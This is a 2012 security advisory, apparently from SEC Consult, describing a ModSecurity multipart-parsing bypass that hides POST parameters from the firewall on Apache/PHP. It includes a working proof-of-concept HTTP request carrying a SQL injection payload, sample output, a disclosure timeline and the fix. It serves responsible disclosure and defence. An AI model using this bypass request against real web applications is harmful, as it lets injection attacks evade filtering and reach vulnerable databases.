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SEC Consult SA-20121017-0 :: ModSecurity multipart/invalid part ruleset bypass
From: SEC Consult Vulnerability Lab <research () sec-consult com>
Date: Wed, 17 Oct 2012 09:41:46 +0200

SEC Consult Vulnerability Lab Security Advisory < 20121017-0 >
=======================================================================
              title: ModSecurity multipart/invalid part ruleset bypass
            product: ModSecurity
 vulnerable version: <= 2.6.8
      fixed version: 2.7.0
         CVE number: -
             impact: Depends what you use it for
           homepage: http://www.modsecurity.org/
              found: 2012-10-12
                 by: Bernhard Mueller
                     SEC Consult Vulnerability Lab
                     https://www.sec-consult.com
=======================================================================

Vendor/product description:
---------------------------
ModSecurity for Apache is a web server plug-in for the Apache web server
platform. This is the original, most mature and deployed ModSecurity module.
This module is maintained by the Trustwave SpiderLabs Research Team.

URL: http://www.modsecurity.org/projects/modsecurity/apache/


Vulnerability overview/description:
-----------------------------------
Validation of POST parameters can be bypassed on Apache/PHP installations by
sending specially formed multipart requests. A POST parameter's content can be
hidden from ModSecurity by prepending an invalid part. This first part
contains only a Content-Disposition header and has an additional carriage
return inserted at the end of the line ([\r\r\n]). This is followed by a
boundary in the next line and another Content-Disposition header with a
filename. The request content looks like this (newlines are all \r\n except in
line 2).

--A
Content-Disposition: form-data; name="id"[\r][\r][\n]
--A
Content-Disposition: form-data; name="lol"; filename="x"

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

--A--

ModSecurity skips what it believes to be an invalid first part and proceeds to
parse the second part. This part is treated as a file and not checked against
the ruleset.

PHP however treats the whole thing as a single part and processes only the
first Content-Disposition header, ignoring the second one. In the opinion of
PHP this request contains a POST parameter with the name specified in the
first header.


Proof of concept:
-----------------

wut.php:
--------

<? echo $POST[xxx] ?>


POST request:
-------------

POST /wut.php HTTP/1.1
Content-Type: multipart/form-data; boundary=A
Content-Length: 161

--A
Content-Disposition: form-data; name="xxx"[\r][\r][\n]
--A
Content-Disposition: form-data; name="yyy"; filename="z"

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

--A--


Output:
-------

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

(any change in the header should produce a 403)


Vulnerable / tested versions:
-----------------------------

This works with ModSecurity up to version 2.6.8.


Vendor contact timeline:
------------------------
2012-10-11: Contacted ModSecurity
2012-10-15: ModSecurity guys fixed it
2012-10-16: New ModSecurity release 2.7.0
2012-10-17: Public release of advisory


Solution:
---------
To mitigate this bypass method, upgrade to ModSecurity 2.7.0 and make sure
that the MULTIPART_INVALID_PART flag is set in the multipart strict validation
rule. Add the line:

IQ %{MULTIPART_INVALID_PART}, \

to the SecRule MULTIPART_STRICT_ERROR in your ModSecurity configuration file.

Download is available at:

http://www.modsecurity.org/download/



Advisory URL:
--------------
https://www.sec-consult.com/en/advisories.html


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Mail: research at sec-consult dot com
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Check out our blog at:
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And this thing here:
http://wordpress.org/extend/plugins/mvis-security-center/


EOF B. Mueller / October 2012


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